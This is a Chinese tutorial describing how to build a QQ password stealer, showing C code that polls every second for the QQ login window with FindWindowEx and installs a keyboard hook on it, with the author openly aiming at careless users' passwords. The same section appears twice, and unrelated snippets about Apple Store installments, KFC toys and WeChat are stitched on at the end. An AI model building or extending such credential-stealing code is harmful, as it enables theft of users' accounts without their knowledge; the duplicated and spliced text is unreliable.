盜QQ的密碼軟體模擬實現技術
軟體技術2.99W
最近天氣太熱,外加無聊,出於練習的目的,想到了寫個盜QQ的軟體,說“盜”,未免是太難聽了吧,於是我給它起名為“UiQQ道”.
一般的盜密碼的軟體的軟體都是通過監視鍵盤來獲得密碼,這樣操作比較方便,但是這樣也存在一定問題,密碼有的時候不是很準確,因為有的人輸入密碼並不是從前到後輸入,當然這樣的人也是少數,盜密碼嘛,當然去得到那些比較粗心的人的密碼! 通過安裝鉤子來監視QQ登陸介面就是獲得密碼的方法,在安裝前得先找到登陸視窗的控制代碼,當鉤子安裝後,記錄鍵盤,當用戶“回車”或是點了“登陸”就可以開始處理密碼了! 我準備分為四部分來說明這個整個過程:
(1)尋找QQ登陸介面。
(2)安裝鉤子
(3)鉤子函式的解釋.
(4)處理密碼。
以下部分全是使用C語言,文章中我假設讀者您是會C/SDK程式設計的。如果遇到相關的概念性問題,您可以檢視MSDN或是上BBS 詢問!
第一部分:(1)尋找QQ登陸介面。
軟體執行後,利用安裝定時器,每秒在系統找QQ登陸介面,這樣基本上只要使用者打開了QQ登陸介面就會被抓住其控制代碼,看下面程式碼:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安裝好TIMER後,下面是處理主程式的WM_TIMER訊息,凡是出現沒有定義的變數,您可以理解為是全域性變數.
//處理WM_TIMER程式碼
if (!IsWindow(g_hQQLogin)) //判斷g_hQQLogin是否是有效的視窗控制代碼
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //引數為NULL是解除安裝HOOK,引數為控制代碼是安裝控制代碼
do
{
//利用FindWindowEx查詢QQ登陸視窗,具體引數意思請查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //對話方塊的類都是#32770
//找到類名是#32770後,再在其窗體內找一個具有“ 登入QQ”的BUTTON按紐
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登入QQ"); //這一句很關鍵,如果你的QQ登陸視窗上沒有" 登入QQ"字樣,那麼獲取密碼將失敗!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的視窗,即:QQ登陸視窗
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安裝HOOK,此函式在DLL檔案中 第二部分中介紹
}
}
上面就是查詢QQ登陸視窗控制代碼的過程,從程式碼可以看出我用的方法:找一個其子窗體中有一個標題為“ 登入QQ”的BUTTON的對話方塊(這句話說得有點饒口,這句話如果也看不懂,下面您不用看了:() 我最開始是想利用 FindWindow(NULL,"QQ使用者登陸視窗")來查詢,但是我用Spy++看了QQ登陸視窗的標題並不是“QQ使用者登陸視窗”,而是“亂碼”,其中包含了回車鍵等特殊字元,於是我用了FindWindowEx().
一般的盜密碼的軟體的軟體都是通過監視鍵盤來獲得密碼,這樣操作比較方便,但是這樣也存在一定問題,密碼有的時候不是很準確,因為有的人輸入密碼並不是從前到後輸入,當然這樣的人也是少數,盜密碼嘛,當然去得到那些比較粗心的人的密碼! 通過安裝鉤子來監視QQ登陸介面就是獲得密碼的方法,在安裝前得先找到登陸視窗的控制代碼,當鉤子安裝後,記錄鍵盤,當用戶“回車”或是點了“登陸”就可以開始處理密碼了! 我準備分為四部分來說明這個整個過程:
(1)尋找QQ登陸介面。
(2)安裝鉤子
(3)鉤子函式的解釋.
(4)處理密碼。
以下部分全是使用C語言,文章中我假設讀者您是會C/SDK程式設計的。如果遇到相關的概念性問題,您可以檢視MSDN或是上BBS 詢問!
第一部分:(1)尋找QQ登陸介面。
軟體執行後,利用安裝定時器,每秒在系統找QQ登陸介面,這樣基本上只要使用者打開了QQ登陸介面就會被抓住其控制代碼,看下面程式碼:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安裝好TIMER後,下面是處理主程式的WM_TIMER訊息,凡是出現沒有定義的變數,您可以理解為是全域性變數.
//處理WM_TIMER程式碼
if (!IsWindow(g_hQQLogin)) //判斷g_hQQLogin是否是有效的視窗控制代碼
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //引數為NULL是解除安裝HOOK,引數為控制代碼是安裝控制代碼
do
{
//利用FindWindowEx查詢QQ登陸視窗,具體引數意思請查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //對話方塊的類都是#32770
//找到類名是#32770後,再在其窗體內找一個具有“ 登入QQ”的BUTTON按紐
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登入QQ"); //這一句很關鍵,如果你的QQ登陸視窗上沒有" 登入QQ"字樣,那麼獲取密碼將失敗!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的視窗,即:QQ登陸視窗
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安裝HOOK,此函式在DLL檔案中 第二部分中介紹
}
}
上面就是查詢QQ登陸視窗控制代碼的過程,從程式碼可以看出我用的方法:找一個其子窗體中有一個標題為“ 登入QQ”的BUTTON的對話方塊(這句話說得有點饒口,這句話如果也看不懂,下面您不用看了:() 我最開始是想利用 FindWindow(NULL,"QQ使用者登陸視窗")來查詢,但是我用Spy++看了QQ登陸視窗的標題並不是“QQ使用者登陸視窗”,而是“亂碼”,其中包含了回車鍵等特殊字元,於是我用了FindWindowEx().
-
AppleStore分期付款可以用儲蓄卡嗎?AppleStore分期付款可以提前還款嗎?
iPhone15馬上就要發售啦,大家準備好錢包了嗎?錢不夠的也不用擔心,AppleStore上是可以分期付款的,不過也有很多新人不清楚在AppleStore分期付必須是信用卡嗎?儲蓄卡行不行呢?下面一起來看看吧。AppleStore分期付款可以用儲蓄卡嗎?不可以的,分期付款只能使用信用卡和花唄...
-
2024肯德基六一兒童節玩具什麼時候開始?肯德基六一兒童節套餐怎麼預定?多少錢?
馬上就要到六一兒童節啦,2024年肯德基是和寶可夢聯名的,網上也爆出了相關的實物圖,顏值還是很高的,下面就和小編一起來看看肯德基六一兒童節玩具活動持續多久的相關資訊。2024肯德基六一兒童節玩具什麼時候開始?活動時間:5月18日-6月2日耿鬼遊戲機波克比儲物桶皮卡丘...
-
小雞寶寶考考你:為什麼生吃黃瓜時有一種發澀的口感?
支付寶莊園小課堂5月11日的問題是,小雞寶寶考考你:為什麼生吃黃瓜時有一種發澀的口感?如果你不清楚,可以看看文中的介紹。2024年螞蟻莊園5月11日莊園小課堂答案今天的問題是:小雞寶寶考考你:為什麼生吃黃瓜時有一種發澀的口感?答案是:特殊成分所致答案解析:黃瓜的澀味...
-
微信登出後還能查到流水嗎?微信登出後流水賬單可以保留多長時間?
微信登出之後還會有哪些東西存在呢?流水賬單之類的會保留多久呢?這個問題是不是很多小夥伴們想要知道,登出之後的微信會有哪些資訊保留呢?下面就和小編一起來看看吧。微信登出後還能查到流水嗎?可以的。微信登出後,使用者的流水記錄可以被查詢到,但是可能會不完整。由於...